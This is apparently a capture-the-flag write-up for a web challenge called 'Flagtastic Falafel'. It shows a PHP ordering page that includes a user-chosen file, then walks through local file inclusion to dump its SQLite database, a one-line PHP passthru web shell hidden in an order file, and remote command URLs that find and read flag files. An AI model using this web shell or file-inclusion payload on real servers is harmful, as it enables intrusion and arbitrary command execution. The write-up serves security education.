Writeup: Flagtastic Falafel

NAME: flagtastic_falafel
CATEGORY: web
POINTS: 250
DESCRIPTION: Flagtastic Falafel just got a brand new online ordering website! The programmer told me they followed all of the security advice they heard from everyone, so it is super secure. However, with a name like “Flagtastic Falafel” there’s bound to be a flag sitting around somewhere, and I know how much y’all like flags…

Navigating to the website, we find a first-rate falafel form. Frippery foregone, fully fillable fields for finance figures following forename furnish functionality for fanatics. Fantastic!

http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=fungal.php&name=Paul&credit_card_number=hunter2
Note: This appears to be topped with the deadly-yet-psychoactive Amanita Muscaria! Exciting!

Fungal falafel freshly fried for fungal-fervent folk! Furthermore, firewall-finessers found flaws festering forth from fricked-up files.

❯ ls
fabled.php         fetid.php        frozen.php
fake.php           fibrous.php      fruit.php
famous.php         fizzy.php        fungal.php
fancy.php          flaming.php      futuristic.php
fantastic.php      foods.php        fuzzy.php
fashionable.php    freaky.php       images
fast.php           fresh.php        index.php
fattening.php      frightening.php  test.sqlite
ferromagnetic.php  frijoles.php
festive.php        frosty.php
❯ grep -rn Thanks
foods.php:35:echo("<p>Thanks for your order, "...

foods.php

<?php
  # Someone told me that I should NEVER EVER STORE UNENCRYPTED CREDIT CARD NUMBERS IN A DATABASE!!!
    # Flagtastic Falafel takes security very seriously, so credit card numbers are stored in files instead.

    # Generate a unique file name for this customer/credit card number
    $filename = bin2hex(random_bytes(20));
    $order_file = fopen("/orders/" . $filename, "w") or die("Unable to open order file for writing :-(");

    # Write order information to the file
    fwrite($order_file, "Customer Name: " . $_GET["name"] . "\n");
    fwrite($order_file, "Credit Card Number: " . $_GET["credit_card_number"] . "\n");
    fwrite($order_file, "Order: " . $_GET["food"] . "\n\n");

    # Close the file
    fclose($order_file);

    # Record other order information in database (don't worry, credit card data is not stored in database)
    $db = new SQLite3("/orders/orders.db");
    # No sql injection allowed!!
    $stmt = $db->prepare("INSERT INTO orders (customer_name_hash, order_filename) VALUES (?, ?)");
    # Only store hash of name for security!! Storing sensitive information in the database is a no no.
    $name_hash = hash("md5", $_GET["name"]);
    $stmt->bindValue(1, $name_hash);
    $stmt->bindValue(2, $filename);
    $stmt->execute();
?>

<html>
    <head>
        <title>Flagtastic Falafel</title>
    </head>
    <body>
        <?php
            # No XSS allowed!! (we'll have an XSS challenge at some point, but this isn't it)
            echo("<p>Thanks for your order, " . htmlspecialchars($_GET["name"]) . "!</p>");
            echo("<p>We received your credit card number as " . htmlspecialchars($_GET["credit_card_number"]) . ". Please ensure that it is incorrect, and submit your order again if it isn't. Thank you!</p>");
            echo("<p>Here's what you ordered:</p>");
            include($_GET["food"]);
        ?>
    </body>
</html>

Phew!

I’m trying to turn my brain off f-word mode but I’m finding it difficult. Anyways, let’s find some festering flaws in these files.

This code:

  1. Generates a random filename
  2. Writes the customer’s name, number, and food to that file
  3. Inserts that filename and a md5 hash of the customer’s name into a database
  4. The database is at /orders/orders.db, by the way
  5. Includes a file on the page. (food, a URL-passed parameter)

It’s looking promising. If we can figure out the name of a file on the server, we can pass it in the URL as the food parameter. If it’s PHP, the server will run whatever code is in that file. In our case, the contents of the file is our name, credit card number, and order. We have control over the name and therefore its hash, so hopefully this isn’t too difficult.

First, let’s dump the database through the food parameter. %2F is a URL-encoded slash.

http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=%2Forders%2Forders.db

This is messy and I couldn’t load it into a database viewer, so it was necessary to print it as base64:

http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=%2Forders%2Forders.db&name=paul&credit_card_number=number

This works (trust me), and we can search for our order with SELECT * FROM 'orders' where customer_name_hash = "6c63212ab48e8401eaf6b59b95d816a9". The hash is md5(“paul”).

This gives us a filename, and requesting http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/e633fd358812c5346a1c25ad4f3a55c34abb6aff, where the random bits at the end are the order_filename matching our customer_name_hash.

Cool!

OK, so we can render the contents of a file. What happens if this content is PHP? And what happens if it’s a PHP webshell? Let’s make another order with our financial information set to a webshell that reads an arbitrary system command: <?php passthru($_GET["cmd"]) ?>.

So, setting that as our credit card and going through the same process will let us execute any command – let’s start with ls, as our flag will surely be in the same directory as the server, right?

http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/02055275dfae65a04f377d12e085616dce777254&cmd=ls

Nailed it! Now all we’ve got to do is swap ls with cat flag.txt and we’re golden!

Unbeleaguered, we carry on. find / -name flag.txt might show another flag.

/var/www/html/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt /definitely_not_the_flag_dont_look_here/yeah_this_isnt_the_flag/turns_out_it_was_a_directory/haha_that_one_was_too/ok_enough_of_this_heres_the_flag/flag.txt/flag.txt /orders/flag.txt Order:

This is a lot to go through, so let’s read all the flags with find / -name flag.txt -exec cat {} \;

Our final URL payload is http://flagtastic_falafel.ctf-league.osusec.org/foods.php?food=/orders/02055275dfae65a04f377d12e085616dce777254&cmd=find%20/%20-name%20flag.txt%20-exec%20cat%20{}%20\;

Which prints out

Which gives us a link to a Youtube video that contains the flag!

Leave a Reply

Your email address will not be published. Required fields are marked *